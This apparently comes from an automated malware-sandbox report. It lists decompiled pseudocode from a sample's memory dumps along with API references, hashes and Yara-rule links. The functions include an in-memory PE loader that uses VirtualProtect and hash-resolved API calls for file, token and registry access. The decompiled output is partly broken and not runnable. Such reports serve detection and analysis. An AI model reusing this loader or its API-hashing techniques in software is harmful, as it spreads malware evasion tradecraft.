APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,6EEC33D8,6EEC3050,A5EABDF8,A5EABDF8,?,6EEB2530,00000001), ref: 6EEC3067

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 2106c10078957310eaed6eeaae3bd287567a1e7ce86f3d2de51c758cddac9a4d
Instruction ID: 313da000561963789bbc6aea29f9ecb1d076a4cf3f7e3dd2175c03828b25a35e
Opcode Fuzzy Hash: 2106c10078957310eaed6eeaae3bd287567a1e7ce86f3d2de51c758cddac9a4d
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 027F2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E027F2213(long __ebx, long __edi, void* __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				char* _v76;
				int _v80;
				long _v84;
				long _v88;
				DWORD* _v92;
				intOrPtr _v96;
				int _v100;
				intOrPtr* _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				char* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				int _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char _v184;
				intOrPtr* _t136;
				int _t143;
				int _t151;
				int _t155;
				intOrPtr _t170;
				int _t177;
				void* _t226;
				intOrPtr _t229;
				intOrPtr _t234;
				void* _t236;
				intOrPtr* _t240;
				intOrPtr _t247;
				intOrPtr _t251;
				DWORD* _t264;
				void* _t268;
				intOrPtr* _t271;
				intOrPtr* _t272;

				_t136 = _a4;
				_v20 = 0;
				_t236 =  *((intOrPtr*)(_t136 + 0x40));
				 *0x27f4418 = 1;
				asm("movaps xmm0, [0x27f3010]");
				asm("movups [0x27f4428], xmm0");
				_v48 = _t136;
				_v52 =  *((intOrPtr*)(_t136 + 0x64));
				_v56 =  *((intOrPtr*)(_v48 + 8));
				_v184 = _t236;
				_v60 =  *((intOrPtr*)(_v48 + 0x50));
				_v180 = _v52;
				_v176 = 4;
				_v172 =  &_v20;
				_v64 =  *((intOrPtr*)(_t136 + 0x60));
				_v68 = 4;
				_v72 = _t236;
				_v76 =  &_v20;
				_t143 = VirtualProtect(__esi, __edi, __ebx, _t264); // executed
				_v80 = _t143;
				_v184 = _v72;
				_v180 = 0;
				_v176 =  *((intOrPtr*)(_v48 + 0x64));
				_v84 = 0x400;
				_v88 = 2;
				_v92 =  &_v20;
				_v96 = 0;
				E027F2569();
				E027F1D28(_v72,  *((intOrPtr*)(_v48 + 0xc)), _v56);
				E027F2569( *((intOrPtr*)(_v48 + 0xc)), 0, _v56);
				_t151 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
				_t271 = _t268 - 0x88;
				_t226 = _v72;
				_t251 =  *((intOrPtr*)(_t226 + 0x3c));
				_v100 = _t151;
				_v104 = _v72 + 0x3c;
				_v108 = _t226;
				_v112 = _t251;
				if(_t251 != 0) {
					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v144 = _v108;
				if(_v60 != 0) {
					_v148 = 0;
					_v152 = _v144 + 0x18 + ( *(_v144 + 0x14) & 0x0000ffff);
					while(1) {
						_t170 = _v152;
						_v160 = _t170;
						_t247 = _v160;
						_v184 = _v72 +  *((intOrPtr*)(_t247 + 0xc));
						_v180 =  *((intOrPtr*)(_t247 + 8));
						_v176 =  *((intOrPtr*)(0x27f4418 + (( *(_t170 + 0x24) >> 0x0000001e & 0x00000001) << 4) + ( *(_t170 + 0x24) >> 0x1f << 3) + (( *(_t170 + 0x24) >> 0x0000001d & 0x00000001) << 2)));
						_v172 =  &_v20;
						_v164 = _v148;
						_t177 = VirtualProtect(??, ??, ??, ??); // executed
						_t271 = _t271 - 0x10;
						_t234 = _v164 + 1;
						_v168 = _t177;
						_v148 = _t234;
						_v152 = _v160 + 0x28;
						if(_t234 == _v60) {
							goto L9;
						}
					}
				}
				L9:
				 *_t271 = _v72;
				_v124 = _v72 +  *((intOrPtr*)(_v48 + 0x24));
				_t155 = DisableThreadLibraryCalls(??);
				_t272 = _t271 - 4;
				_t229 =  *_v104;
				_v156 = _t155;
				_v116 = _t229;
				_v120 = _v72;
				if(_t229 != 0) {
					_v120 = _v72 + (_v116 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_t240 = _v48;
				_v44 =  *((intOrPtr*)(_t240 + 0x20));
				_v40 =  *((intOrPtr*)(_t240 + 0x18));
				_v36 =  *((intOrPtr*)(_t240 + 0x34));
				_v32 =  *((intOrPtr*)(_t240 + 0x30));
				_v28 =  *_t240;
				_v24 = _v124;
				 *_t272 = _t240;
				_v184 = 0;
				_v180 = 0x74;
				_v128 =  *((intOrPtr*)(_v120 + 0x28));
				_v132 = 0;
				_v136 = 0x74;
				_v140 =  &_v44;
				E027F2569();
				if(_v128 != 0) {
					_t272 =  *((intOrPtr*)( &_v44 + 0x10));
					goto __eax;
				}
				return 1;
			}

0x027f221f
0x027f222d
0x027f2234
0x027f2237
0x027f2241
0x027f2248
0x027f2252
0x027f2258
0x027f2261
0x027f226a
0x027f226d
0x027f2273
0x027f2277
0x027f227f
0x027f2283
0x027f2286
0x027f2289
0x027f228c
0x027f228f
0x027f22a9
0x027f22af
0x027f22b2
0x027f22ba
0x027f22be
0x027f22c1
0x027f22c4
0x027f22c7
0x027f22ca
0x027f22e6
0x027f2303
0x027f2328
0x027f232a
0x027f2333
0x027f2336
0x027f2340
0x027f2343
0x027f2346
0x027f2349
0x027f234c
0x027f23a4
0x027f23a4
0x027f254a
0x027f2550
0x027f244d
0x027f2453
0x027f249f
0x027f249f
0x027f24bc
0x027f24e2
0x027f24f0
0x027f24f3
0x027f24f7
0x027f24fb
0x027f2502
0x027f2508
0x027f250a
0x027f251c
0x027f2524
0x027f252a
0x027f2530
0x027f2536
0x00000000
0x00000000
0x027f253c
0x027f249f
0x027f245b
0x027f2469
0x027f2471
0x027f2474
0x027f2476
0x027f247c
0x027f2488
0x027f248e
0x027f2491
0x027f2494
0x027f238a
0x027f238a
0x027f23d8
0x027f23de
0x027f23e4
0x027f23ea
0x027f23f0
0x027f23f5
0x027f23fb
0x027f23fe
0x027f2401
0x027f2409
0x027f2411
0x027f2414
0x027f2417
0x027f241d
0x027f2423
0x027f242e
0x027f2362
0x027f2368
0x027f2368
0x027f23c5

APIs

VirtualProtect.KERNELBASE ref: 027F228F
VirtualProtect.KERNELBASE ref: 027F2328

Strings

t, xrefs: 027F2409

Memory Dump Source

Source File: 00000002.00000002.1040408605.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: t
API String ID: 544645111-2238339752
Opcode ID: ce0a37b19badc819a51698316590a5e3651645fc68373930aa1068288752fa20
Instruction ID: bb22ec03077760d81a95cf224c3563266a8c579031129233be7d28a73b6142aa
Opcode Fuzzy Hash: ce0a37b19badc819a51698316590a5e3651645fc68373930aa1068288752fa20
Instruction Fuzzy Hash: 97819AB4D082088FCB44DF99C590A9DFBF1FF48310F65856AEA58AB352D330A941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EEC5DF0(void* __ecx, void* __eflags, void* _a4, char _a8) {
				long _v12;
				void* __esi;
				long _t9;
				long _t10;
				int _t12;
				void* _t18;
				void** _t19;
				DWORD* _t20;

				_t18 = __ecx;
				_t19 = __ecx + 0xc;
				if(E6EEBC33C(_t19) == 0) {
					_t2 =  &_a8; // 0x6eec5ce5
					_v12 =  *_t2;
					if(E6EEC2F8C(0x4bcc7cba, 0x2876e068) == 0) {
						_t9 = 0x7f;
					} else {
						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
						if(_t12 == 0) {
							_t9 = E6EEC352C(_t18);
						} else {
							_t9 = 0;
						}
					}
					 *((intOrPtr*)(_t18 + 8)) = _t9;
					if(_t9 == 0) {
						_t10 = _v12;
					} else {
						_t10 = 0;
						_v12 = 0;
					}
				} else {
					_t10 = 0;
				}
				return _t10;
			}

0x6eec5df3
0x6eec5df5
0x6eec5e01
0x6eec5e07
0x6eec5e0b
0x6eec5e21
0x6eec5e40
0x6eec5e23
0x6eec5e34
0x6eec5e38
0x6eec5e58
0x6eec5e3a
0x6eec5e3a
0x6eec5e3a
0x6eec5e38
0x6eec5e41
0x6eec5e46
0x6eec5e4f
0x6eec5e48
0x6eec5e48
0x6eec5e4a
0x6eec5e4a
0x6eec5e03
0x6eec5e03
0x6eec5e03
0x6eec5e55

APIs

ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,4BCC7CBA,2876E068,?,?,?,6EEC5CE5,00000000,?,00000000,?), ref: 6EEC5E34

Strings

\n, xrefs: 6EEC5E07

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileRead
String ID: \n
API String ID: 2738559852-153583973
Opcode ID: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction ID: 58d71a4475bf352d9c5cbc94c12798e4d988ade77b48ffc921647f803a38f7ac
Opcode Fuzzy Hash: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction Fuzzy Hash: DEF0A431258707AEDB519BE9CE50AAB77D5AF4AA44F304C2DECF9D6240EB31D4098723

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EEC1140(void* __ecx, void* __edi, void* __esi) {
				long _v12;
				void* _v20;
				void* _v24;
				char _v32;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v64;
				int _t31;
				void* _t33;
				long* _t39;
				intOrPtr* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				long* _t59;

				_t59 = _t58 - 0x20;
				_t56 = __ecx;
				_v12 = 0;
				_t46 = E6EEC2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t46 != 0) {
					 *_t46(_t56, 8,  &_v12);
				}
				_t39 = _t59;
				 *_t39 = _v12;
				_t39[1] = 1;
				if(E6EEBC33C(_t39) != 0) {
					L6:
					if(_t59[1] != 0) {
						E6EEBBC00(_t59);
					}
					return 0;
				} else {
					_t59[6] = 0;
					if(E6EEC2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) != 0) {
						GetTokenInformation(_v40, 0x19, 0, 0,  &(_t59[6])); // executed
					}
					_t24 = _t59[6];
					if(_t59[6] != 0) {
						E6EEBF620( &_v32, _t24);
						_t54 = E6EEBF558( &(_t59[3]), 0);
						if(E6EEC2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
							L14:
							E6EEBF6F0( &_v32);
							goto L6;
						} else {
							_t31 = GetTokenInformation(_v40, 0x19, _t54, _t59[7],  &(_t59[6])); // executed
							if(_t31 == 0) {
								goto L14;
							} else {
								_t33 = E6EEC2F94(0xd0443458, 0x57bf3274, 0xd0443458, 0xd0443458);
								if(_t33 == 0) {
									goto L14;
								} else {
									_push( *_t54);
									asm("int3");
									return _t33;
								}
							}
						}
					} else {
						goto L6;
					}
				}
			}

0x6eec1142
0x6eec114f
0x6eec1151
0x6eec1160
0x6eec1164
0x6eec116e
0x6eec116e
0x6eec1174
0x6eec1177
0x6eec1179
0x6eec1184
0x6eec11be
0x6eec11c3
0x6eec11c8
0x6eec11c8
0x6eec11d4
0x6eec1186
0x6eec1190
0x6eec11a3
0x6eec11b4
0x6eec11b4
0x6eec11b6
0x6eec11bc
0x6eec11da
0x6eec11ea
0x6eec1201
0x6eec12e3
0x6eec12e7
0x00000000
0x6eec1207
0x6eec1217
0x6eec121b
0x00000000
0x6eec1221
0x6eec122d
0x6eec1234
0x00000000
0x6eec123a
0x6eec123a
0x6eec123c
0x6eec123d
0x6eec123d
0x6eec1234
0x6eec121b
0x00000000
0x00000000
0x00000000
0x6eec11bc

APIs

GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 6EEC11B4
GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 6EEC1217

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: b379fc4a1587b84ebba4738689b04ff7e367b1b7f2a9b7906a93c638fa51d113
Instruction ID: c2a2f8d71d727ab05d9c365d7bc0cd5b92b2739f292fdf54a601416e13b15d19
Opcode Fuzzy Hash: b379fc4a1587b84ebba4738689b04ff7e367b1b7f2a9b7906a93c638fa51d113
Instruction Fuzzy Hash: C72191706082466EF705DAE88D10FAB66AD9FD5A08F20C82CB4A4D7250EF78C809C762

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EEC5720(void* __ecx, char* _a4, intOrPtr _a8) {
				int _v16;
				int _v20;
				intOrPtr _t11;
				int* _t12;
				int _t13;
				void* _t23;
				char* _t35;
				int* _t38;

				_push(_t34);
				_t23 = __ecx;
				_t11 =  *((intOrPtr*)(__ecx + 4));
				if(_t11 == 0 || _t11 == 0xffffffff) {
					_t12 = 1;
				} else {
					_t12 = 0;
				}
				if(_t12 != 0) {
					L10:
					_t13 = 0;
				} else {
					_t35 = _a4;
					if(_t35 == 0 ||  *_t35 != 0) {
						_v20 = 0;
						_v16 = 0;
						if(E6EEC2F8C(0xd0443458, 0x91134e46) != 0) {
							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
						}
						_t15 = _v16;
						if(_v16 != 0) {
							E6EEBF8C4(_a8, _t15);
							if(E6EEC2F8C(0xd0443458, 0x91134e46) != 0) {
								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E6EEBF558(_a8, 0),  &_v20); // executed
							}
							_t13 = _v20;
						} else {
							goto L10;
						}
					} else {
						goto L10;
					}
				}
				return _t13;
			}

0x6eec5724
0x6eec5725
0x6eec5727
0x6eec572c
0x6eec5733
0x6eec5737
0x6eec5737
0x6eec5737
0x6eec573b
0x6eec5781
0x6eec5781
0x6eec573d
0x6eec573d
0x6eec5743
0x6eec574c
0x6eec574f
0x6eec5766
0x6eec5777
0x6eec5777
0x6eec5779
0x6eec577f
0x6eec578a
0x6eec57a2
0x6eec57c2
0x6eec57c2
0x6eec57c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eec5743
0x6eec57cc

APIs

RegQueryValueExA.KERNELBASE(?,6EECD1F8,00000000,?,00000000,00000000,?,?,?,6EECD1F8,?,6EEC57F3,?,00000000,00000000), ref: 6EEC5777
RegQueryValueExA.KERNELBASE(?,6EECD1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,6EECD1F8,?,6EEC57F3,?,00000000), ref: 6EEC57C2

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: cdff03e19aa9d02ca93ff40d7f69fa03f4eaa6943e7be9b0135aaa3fabe45ce6
Instruction ID: 01ef2c5f62dfae6470df34202265102cdf36e0979a4061ca46b33e4bd502df17
Opcode Fuzzy Hash: cdff03e19aa9d02ca93ff40d7f69fa03f4eaa6943e7be9b0135aaa3fabe45ce6
Instruction Fuzzy Hash: 1F11B47121D30AFFE6119EA5DD90FA7B7DCEF46A58F20481DF4A497240DB20E8849662

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6EEC5AA8(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
				char _v24;
				void* __esi;
				void* _t16;
				void* _t21;
				void* _t24;
				void* _t29;
				long _t37;
				void* _t38;
				long _t39;
				WCHAR** _t40;
				intOrPtr* _t56;
				WCHAR** _t58;
				char* _t64;
				void* _t65;
				long _t66;

				_push(0);
				_push(_t62);
				_t66 = _t65 - 0x10;
				_t58 = __ecx;
				_t37 = _a8;
				if(E6EEBD288(__ecx, 0x2f) != 0) {
					_t62 = _t66;
					E6EEBD78C(__ecx, _t66);
					E6EEBD0B4(_t58,  *_t66);
					E6EEBD098(_t66);
				}
				if(_t37 == 0) {
					_t70 = _a4 - 1;
					if(_a4 != 1) {
						__eflags = _a4 - 4;
						_t37 = (0 | _a4 == 0x00000004) + 2;
						__eflags = _t37;
					} else {
						_t37 = 1;
					}
				}
				E6EEC621C(_t70);
				if(_a4 <= 5) {
					goto __eax;
				}
				_t62 = 0;
				if(_t37 != 2) {
					_t16 = 3;
					__eflags = _t37 - 1;
					_t38 = 0;
					_t39 =  ==  ? _t16 : _t38;
				} else {
					_t39 = 1;
				}
				if(E6EEC2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t29 = CreateFileW( *_t58, 0, _t39, 0, _t62, _a12, 0); // executed
					_push(_t29);
				}
				_t40 =  &(_t58[3]);
				E6EEBC328(_t40);
				if(E6EEBC33C(_t40) != 0) {
					_t58[2] = E6EEC352C(0);
					_t21 = 0;
					goto L19;
				} else {
					if(_a4 == 2) {
						_t56 = E6EEC2F8C(0x4bcc7cba, 0xceed09cc);
						__eflags = _t56;
						if(_t56 != 0) {
							 *_t56( *_t40, 0, 0, 2);
						}
					}
					_t64 =  &_v24;
					E6EEC35D4(_t64, 0xff, 8);
					_t66 = _t66 + 0xc;
					_t24 = E6EEC2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t24 == 0) {
						_t21 = 1;
						__eflags = 1;
						L19:
						return _t21;
					} else {
						_push(_t64);
						_push(_t64);
						_push(0);
						_push( *_t40);
						asm("int3");
						return _t24;
					}
				}
			}

0x6eec5aa8
0x6eec5aab
0x6eec5aac
0x6eec5aaf
0x6eec5ab1
0x6eec5abe
0x6eec5ac2
0x6eec5ac6
0x6eec5ad0
0x6eec5ad7
0x6eec5ad7
0x6eec5ade
0x6eec5ae0
0x6eec5ae5
0x6eec5aee
0x6eec5af6
0x6eec5af6
0x6eec5ae7
0x6eec5ae9
0x6eec5ae9
0x6eec5ae5
0x6eec5afb
0x6eec5b07
0x6eec5b1d
0x6eec5b1d
0x6eec5c38
0x6eec5b75
0x6eec5b7e
0x6eec5b7f
0x6eec5b84
0x6eec5b85
0x6eec5b77
0x6eec5b79
0x6eec5b79
0x6eec5b9b
0x6eec5baf
0x6eec5b9d
0x6eec5baa
0x6eec5bac
0x6eec5bac
0x6eec5bb1
0x6eec5bb6
0x6eec5bc4
0x6eec5c2f
0x6eec5c32
0x00000000
0x6eec5bc6
0x6eec5bcb
0x6eec5c18
0x6eec5c1a
0x6eec5c1c
0x6eec5c26
0x6eec5c26
0x6eec5c1c
0x6eec5bcd
0x6eec5bd9
0x6eec5bde
0x6eec5beb
0x6eec5bf2
0x6eec5bfe
0x6eec5bfe
0x6eec5bff
0x6eec5c06
0x6eec5bf4
0x6eec5bf4
0x6eec5bf5
0x6eec5bf6
0x6eec5bf8
0x6eec5bfa
0x6eec5bfb
0x6eec5bfb
0x6eec5bf2

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae459c732db54f2565f77a93cd798bb141d519983cf2bbdfce31ae35e24e357
Instruction ID: 5082588289d0d69f97ecf4a4ec09fc0e682b4cfe831cdb298fe144c5ff79f63d
Opcode Fuzzy Hash: 4ae459c732db54f2565f77a93cd798bb141d519983cf2bbdfce31ae35e24e357
Instruction Fuzzy Hash: 373138343943076EE75026F58F94F6B7A9DDBC6A0CF300D2CF66196281EB6188098223

Uniqueness

Uniqueness Score: -1.00%

Function 027F2439, Relevance: 1.6, APIs: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 027F2508

Memory Dump Source

Source File: 00000002.00000002.1040408605.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5018af97ee38c24c1fcd9afcdd3a124c775e63b08922a36b1bf8a12891edf7d7
Instruction ID: 9ec4f24a4c13f8df24e5409a02819cc2a74cdcd6178bc020f6ff4d7a9e514a54
Opcode Fuzzy Hash: 5018af97ee38c24c1fcd9afcdd3a124c775e63b08922a36b1bf8a12891edf7d7
Instruction Fuzzy Hash: 9E31E8B5D142288FDB54CF68C980A9DB7F1BF88204F258699D94CA7346D731AE51CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E6EEC5B51(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t21;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t32;
				WCHAR** _t33;
				long _t37;
				void* _t39;
				void* _t40;

				_t33 = __edi;
				if(__edx != 0) {
					_t37 = 3;
					if(_t21 != 2) {
						_t7 = 3;
						_t22 = 0;
						_t23 =  ==  ? _t7 : _t22;
					} else {
						_t23 = 1;
					}
					if(E6EEC2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
						_push(0);
					} else {
						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
						_push(_t20);
					}
					_t24 =  &(_t33[3]);
					E6EEBC328(_t24);
					if(E6EEBC33C(_t24) != 0) {
						_t33[2] = E6EEC352C(0x80000000);
						_t12 = 0;
						goto L14;
					} else {
						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
							_t32 = E6EEC2F8C(0x4bcc7cba, 0xceed09cc);
							if(_t32 != 0) {
								 *_t32( *_t24, 0, 0, 2);
							}
						}
						_t39 = _t40 + 8;
						E6EEC35D4(_t39, 0xff, 8);
						_t40 = _t40 + 0xc;
						_t15 = E6EEC2F8C(0x4bcc7cba, 0xaaa9bb);
						if(_t15 == 0) {
							_t12 = 1;
							goto L14;
						} else {
							_push(_t39);
							_push(_t39);
							_push(0);
							_push( *_t24);
							asm("int3");
							return _t15;
						}
					}
				} else {
					__edi[2] = 2;
					_t12 = 0;
					L14:
					return _t12;
				}
			}

0x6eec5b51
0x6eec5b53
0x6eec5b6a
0x6eec5b75
0x6eec5b7e
0x6eec5b84
0x6eec5b85
0x6eec5b77
0x6eec5b79
0x6eec5b79
0x6eec5b9b
0x6eec5baf
0x6eec5b9d
0x6eec5baa
0x6eec5bac
0x6eec5bac
0x6eec5bb1
0x6eec5bb6
0x6eec5bc4
0x6eec5c2f
0x6eec5c32
0x00000000
0x6eec5bc6
0x6eec5bcb
0x6eec5c18
0x6eec5c1c
0x6eec5c26
0x6eec5c26
0x6eec5c1c
0x6eec5bcd
0x6eec5bd9
0x6eec5bde
0x6eec5beb
0x6eec5bf2
0x6eec5bfe
0x00000000
0x6eec5bf4
0x6eec5bf4
0x6eec5bf5
0x6eec5bf6
0x6eec5bf8
0x6eec5bfa
0x6eec5bfb
0x6eec5bfb
0x6eec5bf2
0x6eec5b55
0x6eec5b55
0x6eec5b5c
0x6eec5bff
0x6eec5c06
0x6eec5c06

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6EEC5BAA

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction ID: 5ecceacbbc8d76ce5bf7d8fc1a3577c3f04fd12353685ad8387a021a6488ea50
Opcode Fuzzy Hash: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction Fuzzy Hash: 3F014535394307BEE75016918E81F6BBB5DEB93A48F304C6DFA7066181EF22941C8273

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6EEC5B29(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t31;
				intOrPtr* _t33;
				WCHAR** _t34;
				void* _t38;
				long _t39;
				void* _t41;
				void* _t42;

				_t34 = __edi;
				_t31 = 5;
				_t38 = 2;
				_t39 =  !=  ? _t31 : _t38;
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E6EEC2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E6EEBC328(_t24);
				if(E6EEBC33C(_t24) != 0) {
					_t34[2] = E6EEC352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
						_t33 = E6EEC2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t41 = _t42 + 8;
					E6EEC35D4(_t41, 0xff, 8);
					_t42 = _t42 + 0xc;
					_t15 = E6EEC2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t41);
						_push(_t41);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x6eec5b29
0x6eec5b2d
0x6eec5b30
0x6eec5b33
0x6eec5b75
0x6eec5b7e
0x6eec5b84
0x6eec5b85
0x6eec5b77
0x6eec5b79
0x6eec5b79
0x6eec5b9b
0x6eec5baf
0x6eec5b9d
0x6eec5baa
0x6eec5bac
0x6eec5bac
0x6eec5bb1
0x6eec5bb6
0x6eec5bc4
0x6eec5c2f
0x6eec5c32
0x00000000
0x6eec5bc6
0x6eec5bcb
0x6eec5c18
0x6eec5c1c
0x6eec5c26
0x6eec5c26
0x6eec5c1c
0x6eec5bcd
0x6eec5bd9
0x6eec5bde
